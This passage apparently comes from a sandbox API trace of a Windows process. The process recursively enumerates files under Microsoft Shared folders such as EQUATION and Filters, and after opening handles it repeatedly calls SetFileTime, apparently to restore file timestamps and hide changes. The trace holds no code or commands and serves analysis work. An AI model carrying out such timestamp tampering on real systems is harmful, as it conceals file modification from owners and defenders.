dwReserved1=0x4f94d3, cFileName=".", cAlternateFileName="")) returned 0x4f8190 [0057.944] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.944] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0057.944] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.944] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.944] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x6086b2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0057.944] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0057.944] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*.*") returned="*.*" [0057.944] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\" [0057.944] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\") returned="" [0057.947] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.947] CloseHandle (hObject=0x8c) returned 1 [0057.947] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8f7000, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdb9ec040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2f8f7000, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xf2b88, dwReserved0=0x0, dwReserved1=0x4f8498, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0057.947] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0057.947] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned="DBGHELP.DLL" [0057.947] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\" [0057.947] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\") returned="" [0057.948] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 1 [0057.948] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0057.948] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned="DW20.EXE" [0057.948] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\" [0057.948] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\") returned="" [0057.948] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 0 [0057.948] FindClose (in: hFindFile=0x4f8190 | out: hFindFile=0x4f8190) returned 1 [0057.948] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0057.948] lstrcmpA (lpString1=".", lpString2="EQUATION") returned -1 [0057.948] lstrcmpA (lpString1="..", lpString2="EQUATION") returned -1 [0057.948] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\*.*") returned="*.*" [0057.948] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0057.950] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.950] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.950] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.950] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.950] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0057.950] lstrcmpA (lpString1=".", lpString2="1033") returned -1 [0057.951] lstrcmpA (lpString1="..", lpString2="1033") returned -1 [0057.951] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*.*") returned="*.*" [0057.951] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x4f81e8 [0057.952] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.953] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0057.953] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.953] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.953] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 1 [0057.953] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0057.953] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*.*") returned="*.*" [0057.953] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\" [0057.953] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\") returned="" [0057.955] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.955] CloseHandle (hObject=0x90) returned 1 [0057.955] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 0 [0057.956] FindClose (in: hFindFile=0x4f81e8 | out: hFindFile=0x4f81e8) returned 1 [0057.956] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d107e00, ftCreationTime.dwHighDateTime=0x1bb541c, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5d107e00, ftLastWriteTime.dwHighDateTime=0x1bb541c, nFileSizeHigh=0x0, nFileSizeLow=0x9fd, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="EQNEDT32.CNT", cAlternateFileName="")) returned 1 [0057.956] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0057.956] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*.*") returned="*.*" [0057.956] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\" [0057.956] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\") returned="" [0057.958] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.959] CloseHandle (hObject=0x8c) returned 1 [0057.959] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28305200, ftCreationTime.dwHighDateTime=0x1c2f1c2, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x28305200, ftLastWriteTime.dwHighDateTime=0x1c2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x84a48, dwReserved0=0x0, dwReserved1=0x4f8430, cFileName="EQNEDT32.EXE", cAlternateFileName="")) returned 1 [0057.959] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0057.959] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned="EQNEDT32.CNT" [0057.959] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\" [0057.959] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\") returned="" [0057.959] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acd3b00, ftCreationTime.dwHighDateTime=0x1c6cca0, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3acd3b00, ftLastWriteTime.dwHighDateTime=0x1c6cca0, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="eqnedt32.exe.manifest", cAlternateFileName="EQNEDT~1.MAN")) returned 1 [0057.959] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0057.959] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned="EQNEDT32.EXE" [0057.959] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\" [0057.959] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\") returned="" [0057.960] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd0200, ftCreationTime.dwHighDateTime=0x1be1298, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3bd0200, ftLastWriteTime.dwHighDateTime=0x1be1298, nFileSizeHigh=0x0, nFileSizeLow=0x2b0b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.HLP", cAlternateFileName="")) returned 1 [0057.960] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0057.960] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned="eqnedt32.exe.manifest" [0057.960] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\" [0057.960] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\") returned="" [0057.960] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 1 [0057.960] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0057.960] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned="EQNEDT32.HLP" [0057.960] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\" [0057.960] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\") returned="" [0057.960] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 0 [0057.961] FindClose (in: hFindFile=0x4f8118 | out: hFindFile=0x4f8118) returned 1 [0057.961] lstrcmpA (lpString1=".", lpString2="EURO") returned -1 [0057.961] lstrcmpA (lpString1="..", lpString2="EURO") returned -1 [0057.961] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\*.*") returned="*.*" [0057.961] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f8190 [0057.963] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.963] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.963] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.963] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0057.963] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*.*") returned="*.*" [0057.963] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\" [0057.963] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\") returned="" [0057.965] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.965] CloseHandle (hObject=0x8c) returned 1 [0057.966] lstrcmpA (lpString1=".", lpString2="Filters") returned -1 [0057.966] lstrcmpA (lpString1="..", lpString2="Filters") returned -1 [0057.966] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\*.*") returned="*.*" [0057.966] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f84a0, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0057.968] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.968] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.968] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.968] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0057.968] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*.*") returned="*.*" [0057.968] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\" [0057.968] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\") returned="" [0057.970] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.970] CloseHandle (hObject=0x8c) returned 1 [0057.971] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0057.971] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned="msgfilt.dll" [0057.971] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\" [0057.971] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\") returned="" [0057.971] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0057.971] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned="odffilt.dll" [0057.971] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\" [0057.971] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\") returned="" [0057.971] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0057.971] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned="offfiltx.dll" [0057.972] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\" [0057.972] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\") returned="" [0057.972] lstrcmpA (lpString1=".", lpString2="GRPHFLT") returned -1 [0057.972] lstrcmpA (lpString1="..", lpString2="GRPHFLT") returned -1 [0057.972] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\*.*") returned="*.*" [0057.972] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0057.977] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.977] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.977] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.977] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 